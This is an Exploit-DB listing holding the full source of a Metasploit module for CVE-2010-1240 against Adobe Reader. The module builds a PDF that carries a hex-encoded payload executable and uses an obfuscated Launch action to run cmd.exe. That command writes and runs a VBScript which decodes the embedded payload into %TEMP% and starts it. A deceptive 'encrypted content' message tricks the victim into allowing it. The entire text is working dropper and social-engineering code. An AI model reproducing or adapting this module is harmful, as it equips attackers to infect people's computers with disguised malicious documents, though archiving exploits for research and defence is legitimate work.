标题: Adobe PDF - Escape EXE Social Engineering (No JavaScript) (Metasploit) EDB-ID: 16682 CVE: 2010-1240 类型: LOCAL 平台: WINDOWS 发布日期: 2010-12-16 漏洞利用脚本: ##
# $Id: adobe_pdf_embedded_exe_nojs.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

#
# Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb".
# This version does not require JavaScript to be enabled and does not required the EXE to be
# attached to the PDF.  The EXE is embedded in the PDF in a non-standard method using HEX
# encoding.
#
# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.
# Thanks to all those that wrote the code for those modules, as I probably could not have
# wrote this module without borrowing code from them.
#


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',
   'Description'  => %q{
     This module embeds a Metasploit payload into an existing PDF file in
    a non-standard method. The resulting PDF can be sent to a target as
    part of a social engineering attack.
   },
   'License' => MSF_LICENSE,
   'Author'    =>
    [
     'Jeremy Conway <jeremy[at]sudosecure.net>',
    ],
   'Version'        => '$Revision: 11353 $',
   'References'     =>
    [
     [ 'CVE', '2010-1240' ],
     [ 'OSVDB', '63667' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
    ],
   'Payload' =>
    {
     'Space'      => 2048,
     'DisableNops'  => true,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]
    ],
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),
    OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
    OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
     "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
   ], self.class)
 end

 def exploit

  # Create the pdf
  print_status("Making PDF")
  pdf = make_pdf()
  print_status("Creating '#{datastore['FILENAME']}' file...")
  file_create(pdf)
 end

 def pdf_exe(payload_exe)

  if !(payload_exe and payload_exe.length > 0)
   print_status("Using '#{datastore['PAYLOAD']}' as payload...")
   payload_exe = generate_payload_exe
   hex_payload = Rex::Text.to_hex(payload_exe)
  else
   print_status("Using '#{datastore['EXENAME']}' as payload...")
   hex_payload = Rex::Text.to_hex_dump(payload_exe,16)
  end

  return hex_payload
 end

 def ioDef(id)
  "%d 0 obj" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end

 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end

 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end

 def make_pdf()

  file_name = datastore['FILENAME']
  exe_name = datastore['EXENAME']
  launch_msg = datastore['LAUNCH_MESSAGE']

  xref = []
  eol = "\x0d\x0a"
  endobj = "endobj" << eol

  pdf = "%PDF-1.5" << eol
  payload_exe = generate_payload_exe
  hex_payload = Rex::Text.to_hex(payload_exe)
  pdf << hex_payload << eol
  pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
  xref << pdf.length
  pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< "
  pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"
  pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"
  pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"
  pdf << eol << eol << eol << "#{launch_msg})"
  pdf << ">>>>" << endobj
  xref << pdf.length
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end
  pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol

 end
end URL: https://www.exploit-db.com/exploits/16682